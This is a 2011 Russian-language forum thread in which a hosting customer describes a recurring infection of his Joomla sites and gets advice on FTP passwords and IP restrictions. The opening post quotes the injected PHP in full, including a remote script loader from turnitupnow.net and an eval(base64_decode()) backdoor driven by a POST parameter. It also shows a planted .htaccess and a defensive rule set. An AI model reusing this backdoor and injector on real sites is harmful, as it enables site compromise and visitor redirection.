[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Проблема на хостинге. Вирус. Изменяется .htaccess
ariy85
Доброго времени суток,
Наверно пишу не на тот форум, если так прошу модераторов перенести тему. Проблема заключается в следующем:
Есть хостинг. Bluehost. на хостинге крутится несколько сайтов на базе:
1 шт. Drupal CMS
2 шт. флеш
2 шт. Joomla 1.5.22
3 шт. тупо HTML
и еще 5 штук домены для почты, ftp и vpn(хранят a и mx записи).

Каждый из сайтов находится в своей директории в корне public_html. Рутовая директория пустая(за исключением этих субдиректорий с сайтами) и не для одного сайта не используется в ней как первичного не используется. Все началось 4 дня назад, когда позвонила девочка для которой делал сайт на Joomla. В самом начале index.php после <?php обнаружился следующий код:

##global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }

Выкачал весь хостинг, немного-немало 900метров, и начал искать данный код Notepad++. Оказалось было заражено около 1600 файлов. Удалил зараженные домены и перезалил чищенные файлы. Первые 5 минут работало все нормально. Потом началась та же история. Каждый линк на сайте вел непонятно куда на страницу вроде этих:
и т.д., а потом редиректил на Google. Это был уже второй день мучений. Начал ковырять конфиги самого хостера и нашел такую закономерность, что в каждом каталоге создавался файл .htaccess с такими вот записями:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
</IfModule>

И мало того в корне каждого домена, но и в руте хостинга и в директории выше public_html появился файл .htaccess с такими же записями. Решил рискнуть и заблокировать доступ на файл для всех (раньше файл имел разрешение 444). Удалил эти строки и поставил разрешение на .htaccess 000. Соответственно мне доступ на public_html закрылся.
По истечении 10-15 минут, доступ вновь открылся и мне представился файл с этими же левыми записями. Посчитал что настало время обратится к саппорту хостинга. Ребята с большой радостью восприняли известие, что у них на сервере живет вирус и предложили восстановить все с бякапа 2 недельной давности.
Восстановили, та же самая фигня. Далее я попросил их восстановить с бякапа месячной давности, хотя данные много раз были изменены с того времени.
И это не помогло. удаление .htaccess также не приносит плодов, он произвольно появляется и почему то затрагивает сайты на Joomla. Остальные работают нормально, хоть и не здорово(тормозят и виснут). Далее хостер предложил позакрыват открытый доступ на index.php(поставить Under Construction html файл.) на всех доменах, потереть вредоносный код и отследить с какого IP идет атака через CPanel. На свое и их удивление, файлы изменились, но обращения извне не на один домен не было. После этого я в очередной раз обратился к хостеру, с фразой что они дибилы, и не могут элементарно дать мне список зараженных скриптов, на что мне ответили, что заплати 29евро и твой сайт будет проверен антивирусом. Раньше они это предлогали бесплатно.
Платить не хотелось, вернее нет возможности. И я начал искать файлы с подозрительными записями в корне хостинга(в директории выше public_html) и нашел в директории Cache файл index.html со следующей записью:

<html><body bgcolor="#FFFFFF"></body></html>





Вот мой стандартный .htaccess:

Options +SymLinksIfOwnerMatch
RewriteEngine Off
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^(.*)$ index.php [F,L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/index.php
RewriteCond %{REQUEST_URI} (/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$ [NC]
RewriteRule (.*) index.php
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]

php.ini в прикрепленном файле. Ребят помогите. реально уже замучался с этой проблемой((( Просьба к модераторам, не закрывайте тему, пока не будет полезного решения. Просьба к форумчанам, не имея идей, прошу не набивать пустые посты, типа "Google тебе в помощь" и "спроси у гуру".

Заранее спасибо всем за помощь и ответы.



Спустя 10 минут, 24 секунды (16.11.2011 - 10:09) inpost написал(а):
Это не вирус, который лежит на сайте, это внешний бот, который заходит по ФТП и заливает файлы свои на сервер.
Делается очень просто - меняются пароли. доступ по ФТП ставится на определённые IP адреса, тоже самое и с админ-панелью.

Спустя 32 минуты, 7 секунд (16.11.2011 - 10:42) ariy85 написал(а):
Спасибо, проверю. Но логи обращения на сервер, как я писал, чистые. Я имею ввиду, обращения есть, но с тех IP-адресов которые известны или на какие-то скрипты посетителями сайтов, не на FTP директории. на сервере 3 расшаренные папки для ftp. Пароли сменил с самого начала на все административные аккаунты.

Спустя 17 минут, 26 секунд (16.11.2011 - 10:59) inpost написал(а):
ariy85
Пароли надо менять на доступ по фтп. К тому же могли с соседних сайтов заливать, если разграничения прав не стоит.

Спустя 28 минут, 59 секунд (16.11.2011 - 11:28) ariy85 написал(а):
Разграничение для людей которые изменяют что-либо, как раз те 3 папки. А есть какое-нибудь решение о проверки скриптов на хостинге на вредоносный код?

Спустя 3 минуты, 34 секунды (16.11.2011 - 11:32) inpost написал(а):
ariy85
Все не проверишь никогда. Тебе надо просто защитить от посторонних глаз доступ.

Спустя 5 минут, 50 секунд (16.11.2011 - 11:37) ariy85 написал(а):
Ок. Спасибо огромное. Пойду делать, о результатах отпишусь позже.
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.